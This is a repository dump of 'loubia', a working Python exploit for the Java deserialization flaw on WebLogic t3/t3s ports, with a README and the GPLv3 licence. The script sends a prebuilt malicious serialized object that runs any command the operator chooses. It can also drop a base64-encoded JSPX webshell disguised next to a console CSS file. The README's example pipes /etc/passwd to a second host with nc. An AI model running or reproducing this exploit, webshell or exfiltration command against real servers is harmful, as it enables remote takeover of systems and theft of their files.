├── README.md ├── loubia.py └── LICENSE /README.md: -------------------------------------------------------------------------------- 1 | # loubia 2 | Python script that achieves remote code execution on t3 enabled backends. This is possible thanks to (or because of) the Java Unserialize vulnerability. 3 | # Usage 4 | Below is the help of Loubia showing its awesome functionalities: 5 | 6 | Usage: loubia.py hostname port [options] 7 | Options: 8 | --version show program's version number and exit 9 | -h, --help show this help message and exit 10 | -c PAYLOAD, --cmd=PAYLOAD 11 | Command to execute 12 | -o OS, --os=OS Target operating system (unix/win). Default is unix 13 | -l SHELL, --shell=SHELL 14 | shell to use (sh/bash). Default is sh 15 | -s, --ssl Use t3s protocol. Default : false 16 | -p PROTOCOL, --protocol=PROTOCOL 17 | SSL protocol to use (sslv3/tlsv1/best). Default is 18 | sslv3 19 | -w, --webshell Deploy a jspx webshell 20 | -u URL, --url=URL Deploy the jspx webshell to the target URL path 21 | (webshell name will be URL_.jspx) 22 | -v, --verbose Print verbose output. Default : false 23 | 24 | Examples: 25 | 26 | Disclosing /etc/passwd to a local listening socket 27 | 28 | ./loubia.py 192.168.1.2 7001 -c "cat /etc/passwd | nc 192.168.1.3 6666" 29 | 30 | Deploying a webshell using bash on t3s 31 | 32 | ./loubia.py 192.168.1.2 7002 -s -l bash -w 33 | 34 | # Details 35 | For more details see this post http://wtfsec.blogspot.fr/2016/03/loubia-exploitation-of-java-unserialize.html 36 | -------------------------------------------------------------------------------- /loubia.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Loubia is a script to exploit the Java Unserialize vulnerability on t3 enabled backends (Weblogic server) 3 | # By Nassim Abbaoui (nassim.abbaoui@bt.com / nassim.abbaoui@gmail.com) 4 | # Based on work presented here http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/ 5 | # The original payload (malicious java serialized object) was generated using a modified version of ysoserial (https://github.com/frohoff/ysoserial) that allows using pipes/redirections in the command to execute 6 | 7 | import socket 8 | import sys 9 | import binascii 10 | import time 11 | import ssl 12 | from optparse import OptionParser 13 | 14 | parser = OptionParser(usage="usage: %prog hostname port [options]""", 15 | version="%prog 1.0") 16 | parser.banner = "Loubia = t3 java unserialize exploitation script\n By Nassim Abbaoui (nassim.abbaoui@bt.com / nassim.abbaoui@gmail.com)\n" 17 | parser.add_option("-c", "--cmd", 18 | action="store", 19 | dest="payload", 20 | default="", 21 | help="Command to execute") 22 | parser.add_option("-o", "--os", 23 | type='choice', 24 | choices=['unix', 'win'], 25 | action="store", 26 | dest="os", 27 | default="unix", 28 | help="Target operating system (unix/win). Default is unix",) 29 | parser.add_option("-l", "--shell", 30 | type="choice", 31 | choices=['sh', 'bash'], 32 | action="store", 33 | dest="shell", 34 | default="sh", 35 | help="shell to use (sh/bash). Default is sh") 36 | parser.add_option("-s", "--ssl", 37 | action="store_true", 38 | dest="is_ssl", 39 | default=False, 40 | help="Use t3s protocol. Default : false",) 41 | parser.add_option("-p", "--protocol", 42 | type='choice', 43 | choices=['best', 'sslv3', 'tlsv1'], 44 | action="store", 45 | dest="protocol", 46 | default="sslv3", 47 | help="SSL protocol to use (sslv3/tlsv1/best). Default is sslv3",) 48 | parser.add_option("-w", "--webshell", 49 | action="store_true", 50 | dest="webshell", 51 | default=False, 52 | help="Deploy a jspx webshell",) 53 | parser.add_option("-u", "--url", 54 | action="store", 55 | default="", 56 | dest="url", 57 | help="Deploy the jspx webshell to the target URL path (webshell name will be URL_.jspx)",) 58 | '''parser.add_option("-f", "--file", 59 | action="store", 60 | default="", 61 | dest="file", 62 | help="Custom webshell to deploy",)''' 63 | parser.add_option("-v", "--verbose", 64 | action="store_true", 65 | default=False, 66 | dest="verbose", 67 | help="Print verbose output. Default : false",) 68 | (options, args) = parser.parse_args() 69 | 70 | if len(args) != 2: 71 | parser.print_help() 72 | exit() 73 | 74 | # Options initialization 75 | payload = options.payload 76 | os = options.os 77 | shell = options.shell 78 | is_ssl = options.is_ssl 79 | url = options.url 80 | webshell = options.webshell 81 | verbose = options.verbose 82 | server_address = (args[0], int(args[1])) 83 | protocol = options.protocol 84 | #didn't find a way to select ssl protocol/cipher automatically. This depends also on ssl protocols available on your install. 85 | ssl_protocols = {'best':ssl.PROTOCOL_SSLv23,'sslv3':ssl.PROTOCOL_SSLv3,'tlsv1':ssl.PROTOCOL_TLSv1} 86 | # packet obtained from the command "java -cp weblogic.jar weblogic.Admin -adminurl t3://host:port -username weblogic -password weblogic PING" where the third serialised java object (at byte 750) was replaced by the origianl payload. 87 | packet = '''00000a2e016501ffffffffffffffff0000006a0000ea600000001900c9de850e99043d520d7a8631586329a7741a15cc93993f5b027973720078720178720278700000000a000000030000000000000000007070707070700000000a000000030000000000000000007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400072f62696e2f73687400022d637400236563686f20224a4120666f722074686520574949494949494949494949494949494e22740004657865637571007e001e000000017671007e002f7371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003e61636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774f210000000000000000000f6c6f63616c686f7374000f6c6f63616c686f73741ad0c1740000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771c01b00e59eb1da220c200093132372e302e312e312c19d0c60000000078''' 88 | # jspx webshell taken from here https://github.com/tennc/webshell/tree/master/jspx (modified to permit redirection and pipe use in command) 89 | encoded_webshell = 'PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbG5zOmM9Imh0dHA6Ly9qYXZhLnN1bi5jb20vanNwL2pzdGwvY29yZSIgdmVyc2lvbj0iMi4wIj4KPGpzcDpkaXJlY3RpdmUucGFnZSBjb250ZW50VHlwZT0idGV4dC9odG1sO2NoYXJzZXQ9VVRGLTgiIHBhZ2VFbmNvZGluZz0iVVRGLTgiLz4KPGpzcDpkaXJlY3RpdmUucGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qIi8+Cjxqc3A6ZGlyZWN0aXZlLnBhZ2UgaW1wb3J0PSJqYXZhLmlvLioiLz4KPGpzcDpzY3JpcHRsZXQ+PCFbQ0RBVEFbCglTdHJpbmcgY21kID0gcGFnZUNvbnRleHQuZ2V0UmVxdWVzdCgpLmdldFBhcmFtZXRlcigiY21kIik7CglpZiAoY21kICE9IG51bGwmJiEiIi5lcXVhbHMoY21kKSkgewoJdHJ5ewoJCWZpbmFsIFByb2Nlc3MgcCA9IG5ldyBQcm9jZXNzQnVpbGRlcigiL2Jpbi9zaCIsICItYyIsIGNtZCkuc3RhcnQoKTsKCQlmaW5hbCBpbnQgcmV0dmFsID0gcC53YWl0Rm9yKCk7CgkJSW5wdXRTdHJlYW0gaW4gPSBwLmdldElucHV0U3RyZWFtKCk7CgkJQnVmZmVyZWRSZWFkZXIgYnIgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKGluLCJHQksiKSk7CgkJU3RyaW5nIGJycyA9IGJyLnJlYWRMaW5lKCk7CgkJd2hpbGUoYnJzIT1udWxsKXsKCQkJb3V0LnByaW50bG4oYnJzKyI8L2JyPiIpOwoJCQlicnMgPSBici5yZWFkTGluZSgpOwoJCX0KCQl9Y2F0Y2goRXhjZXB0aW9uIGV4KXsKCQkJb3V0LnByaW50bG4oZXgudG9TdHJpbmcoKSk7CgkJfQoJfV1dPgo8L2pzcDpzY3JpcHRsZXQ+CjwvanNwOnJvb3Q+Cg==' 90 | 91 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 92 | if is_ssl: 93 | sock = ssl.wrap_socket(sock, ssl_version=ssl_protocols[protocol]) 94 | headers='t3s 10.3.6\nAS:255\nHL:19\n\n' 95 | else: headers='t3 10.3.6\nAS:255\nHL:19\n\n' 96 | 97 | # serialized java object is already in the packet, just replace the command to execute and update the corresponding length. Also handle target os type 98 | def update_payload(): 99 | global verbose, payload, packet 100 | if verbose: 101 | print '[INFO] Supplied payload: '+payload+'\n' 102 | payload = payload.encode("hex") 103 | #if verbose: 104 | #print '[INFO] Encoded payload: '+payload+'\n' 105 | hex_len = hex(len(payload)/2)[2:] 106 | payload = '0'*(4-len(hex_len)) + hex_len + payload 107 | if verbose: 108 | print '[INFO] Final payload '+payload+'\n' 109 | packet = packet[:3880] + payload + packet[3954:] 110 | # if target os is win replace "/bin/sh -c" with "cmd.exe /c" 111 | if os == 'win': 112 | if verbose: print '[INFO] Target os is win: using "cmd.exe /c"\n' 113 | packet = packet.replace( '2f62696e2f73687400022d63', '636d642e6578657400022f63' ) 114 | # if shell is bash replace "/bin/sh" with "/bin/bash" 115 | elif shell == 'bash': 116 | packet = packet.replace( '72f62696e2f7368', '92f62696e2f62617368' ) 117 | if verbose: print '[INFO] Target os is unix: using "/bin/'+shell+' -c"\n' 118 | 119 | # t3 packet must be preceeded by the total length of the packet (bytes) represented in hexa 120 | def update_length(): 121 | global packet 122 | hex_len = hex(len(packet)/2)[2:] 123 | packet = packet[:4] + '0'*(4-len(hex_len)) + hex_len + packet[8:] 124 | 125 | # this function makes sure that the t3 packet is not sent before receiving all t3 handshake response headers 126 | def recv_timeout(the_socket,timeout=1): 127 | #make socket non blocking 128 | the_socket.setblocking(0) 129 | #total data partwise in an array 130 | total_data=[]; 131 | data=''; 132 | #beginning time 133 | begin=time.time() 134 | while 1: 135 | #if you got some data, then break after timeout 136 | if total_data and time.time()-begin > timeout: 137 | break 138 | #if you got no data at all, wait a little longer, twice the timeout 139 | elif time.time()-begin > timeout*2: 140 | break 141 | #recv something 142 | try: 143 | data = the_socket.recv(8192) 144 | if data: 145 | total_data.append(data) 146 | #change the beginning time for measurement 147 | begin=time.time() 148 | else: 149 | #sleep for sometime to indicate a gap 150 | time.sleep(0.1) 151 | except: 152 | pass 153 | #join all parts to make final string 154 | return ''.join(total_data) 155 | 156 | # perform the t3/t3s handshake 157 | def t3_handshake(): 158 | global verbose, headers 159 | print '[INFO] Connecting to %s port %s\n' % server_address 160 | try: 161 | sock.connect(server_address) 162 | except Exception as e: 163 | if e.args[1] == 'No route to host' : 164 | print '[ERROR] No route to host. Do you know what you\'re doing ?' 165 | exit() 166 | # Send t3 headers 167 | if verbose: 168 | print '[INFO] Sending t3 headers:\n%s' % headers 169 | else: 170 | print '[INFO] Sending t3 headers\n' 171 | try: 172 | sock.sendall(headers) 173 | except Exception as e: 174 | if e.args[1] == 'Broken pipe' : 175 | print '[ERROR] Broken pipe. Check the destination port man...' 176 | exit() 177 | #get reply and print 178 | t3_response = recv_timeout(sock) 179 | if verbose: 180 | print '[INFO] Received t3 handshake response:\n%s' % t3_response 181 | else: 182 | print '[INFO] Received t3 handshake response\n' 183 | if "HELO" not in t3_response: 184 | if "html" in t3_response: 185 | print '[WARNING] Received HTML response instead of t3 handshake response, are you sure this is a t3 enabled port ? Well it isn\'t... Ciao !' 186 | exit() 187 | elif "FilterException" in t3_response: 188 | print '[WARNING] Received a FilterException error. Basically you\'ve been ****d by the blueteam !' 189 | else: 190 | print '[WARNING] Received non t3 response, sending payload anyway...\n' 191 | 192 | 193 | def exploit(): 194 | global verbose, packet, webshell 195 | t3_handshake() 196 | update_payload() 197 | update_length() 198 | if webshell: 199 | print '[INFO] Deploying webshell\n' 200 | #if verbose: 201 | #print '[INFO] Sending packet:\n'+packet+'\n' 202 | try: 203 | sock.send(binascii.unhexlify(packet)) 204 | except Exception as e: 205 | if e.args[1] == 'Broken pipe': 206 | print '[ERROR] Broken pipe error. Is backend ssl enabled ?\n' 207 | exit() 208 | elif e.args[1] == 'No route to host' : 209 | print '[ERROR] No route to host. Do you know what you\'re doing ?' 210 | exit() 211 | print '[INFO] Malicious packet sent\n' 212 | sock.close() 213 | 214 | def deploy_webshell(is_ssl, url): 215 | global os, payload 216 | if os == 'win': 217 | print '[ERROR] Deploying webshell is not implemented for Windows targets yet...' 218 | exit() 219 | if is_ssl: 220 | prot = 'https' 221 | else: 222 | prot = 'http' 223 | if url == '': 224 | url = prot+'://'+sys.argv[1]+':'+sys.argv[2]+'/console/css/dashboard-min.css' 225 | path = url.split('/') 226 | filename = path[len(path)-1] 227 | if verbose: print '[INFO] Filename : %s' % filename 228 | # The command below finds the paths of all files corresponding to the given URL or to the default "dashboard-min.css" and prints the webshell to a new file filename_.jspx (default will be dashboard-min.css_.jspx) 229 | payload = "$(which find) / -iname "+filename+" -exec /bin/"+shell+" -c '$(which echo) -n "+encoded_webshell+" | $(which base64) -d > {}_.test && $(which chmod) 777 {}_.test' \;" 230 | exploit() 231 | print '[INFO] If everything went well, webshell should be here %s_.jspx?cmd=id\n' % url 232 | print '[WARNING] Remember to delete the created files once you\'re done. You should execute something like : find / -iname '+filename+'_.jspx -exec rm -f {} \;' 233 | 234 | if webshell: 235 | deploy_webshell(is_ssl, url) 236 | else: 237 | exploit() 238 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. 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You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------